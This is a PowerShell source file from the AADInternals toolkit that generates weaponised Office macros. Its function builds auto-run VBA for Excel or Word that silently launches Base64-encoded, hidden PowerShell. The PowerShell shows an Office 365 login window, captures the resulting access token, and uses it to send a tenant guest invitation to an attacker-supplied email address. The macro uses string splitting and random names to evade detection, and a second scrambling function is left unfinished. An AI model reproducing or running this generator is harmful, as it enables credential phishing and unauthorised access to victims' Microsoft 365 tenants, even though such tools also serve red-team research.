AADInternals

0.9.4

WBAWeaponiser.ps1

                                # This script contains functions for weaponising Office files

# Aug 6th 2020

function Generate-InvitationVBA

{

<#

    .SYNOPSIS

    Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.

    .DESCRIPTION

    Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.

    The script starts when the Excel workbook is opened:

    * Opens an Office 365 login window to get an access token

    * Using the access token, sends an invitation for the given email address

    Copy the generated script to clipboard and paste to Excel

    .Example

    New-AADIntInvitationVBA -Email someone@gmail.com | Set-ClipBoard

#>

[cmdletbinding()]

    Param(

        [Parameter(Mandatory=$True)]

        [String]$Email,

        [Validateset("Workbook","Document")]

        [String]$Type="Workbook"

    )

    Process

    {

        #

        # Generate the PowerShell code block

        #

        # First some needed assemblies are imported.

        # Second, a Windows form object is created with a web browser control. The Outlook app id is used.

        # Third, the login window is shown and access token is fetched

        # Finally, the invitation for the given user is sent

        $e="`$e=""$Email"";"

        $code=@'

Add-Type -AssemblyName System.Windows.Forms;

Add-Type -AssemblyName System.Web;

$r="https://graph.microsoft.com";

$i="d3590ed6-52b3-4102-aeff-aad2292ab01c";

$u="urn:ietf:wg:oauth:2.0:oob";

$l="https://login.microsoftonline.com/common/oauth2/authorize?resource=$r&client_id=$i&response_type=code&haschrome=1&redirect_uri=$u&client-request-id=$((New-Guid).ToString())&prompt=login&scope=openid profile";

$f=[Windows.Forms.Form]::new();

$f.Width=560;

$f.Height=680;

$f.FormBorderStyle=3;

$f.TopMost=$true;

$w=[Windows.Forms.WebBrowser]::new();

$w.Size=$f.ClientSize;

$w.Anchor="Left,Top,Right,Bottom";

$f.Controls.Add($w);

$w.add_Navigated({if($_.Url.ToString().StartsWith($u)){$f.DialogResult="OK";$f.Close();};});

$w.Navigate($l);

if($f.ShowDialog()-ne"OK"){$f.Controls[0].Dispose();return};

$a=[Web.HttpUtility]::ParseQueryString($f.Controls[0].Url.Query);

$b=@{client_id=$i;grant_type="authorization_code";code=$a["code"];redirect_uri=$u};

$f.Controls[0].Dispose();

$c="application/x-www-form-urlencoded";

$o=irm -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType $c -Method POST -Body $b;

$b="{""invitedUserEmailAddress"":""$e"",""sendInvitationMessage"":true,""inviteRedirectUrl"":""https://myapps.microsoft.com""}";

$o=irm -Uri "https://graph.microsoft.com/beta/invitations" -Method Post -Body $b -Headers @{"Authorization"="Bearer $($o.access_token)"};

'@

        # Convert the code block to Unicode and decode it with Base64

        $unicode=[text.encoding]::Unicode.getBytes("$e$code")

        $code=[convert]::ToBase64String($unicode)

        #

        # Create the VBA Code

        #

        # Generate a random function name

        $funcName = -join ((97..122) | Get-Random -Count 32 | % {[char]$_})

        $VBA = @"

Private Sub $($Type)_Open()

    $funcName

End Sub

Sub $funcName()`n

"@

        $p = 1

        # Split the Base64 encoded code to shorter chunks

        While(($p*500) -lt $code.Length)

        {

            $codeStr =   $($code.Substring(($p-1)*500,500))

            #$codeStrArr= $codeStr.ToCharArray()

            #[array]::Reverse($codeStrArr)

            #$codeStr = -join($codeStrArr)

            $VBA += "    i$p = ""$codeStr""`n"

            $p++

        }

        $VBA += "    i$p = ""$($code.Substring(($p-1)*500,$code.Length-($p-1)*500))""`n"

        $VBA += "    c1 = Chr(34) & ""pow"" & ""ershel"" & ""l.exe"" & Chr(34)`n"

        $VBA += "    c2 = ""-EncodedCommand """

        for($i=1;$i -lt $p+1 ; $i++)

        {

            $VBA += " & i$i"

        }

        $VBA += "`n"

        # Set PowerShell to start as hidden

        $VBA += "    c3 = "" -WindowStyle Hidden""`n"

        # Create Wscript.shell object

        $VBA += "    Set s2 = CreateObject(""Ws"" & ""cript"" & "".s"" & ""hell"")`n"

        # Invoke the PowerShell minimized

        $VBA += "    s2.Run c1 & c2 & c3, 2`n"

        $VBA += "End Sub`n"

        # Return

        $VBA

    }

}

function Scramble-Text

{

[cmdletbinding()]

    Param(

        [Parameter(Mandatory=$True)]

        [String]$Text,

        [Parameter(Mandatory=$True)]

        [String]$Secret

    )

    Process

    {

        $secretArray=$Secret.ToCharArray()

        $num=0

        foreach($char in $secretArray)

        {

            $num+=$char

        }

        $num = $num % 256

        $textArray = $Text.ToCharArray()

    }

}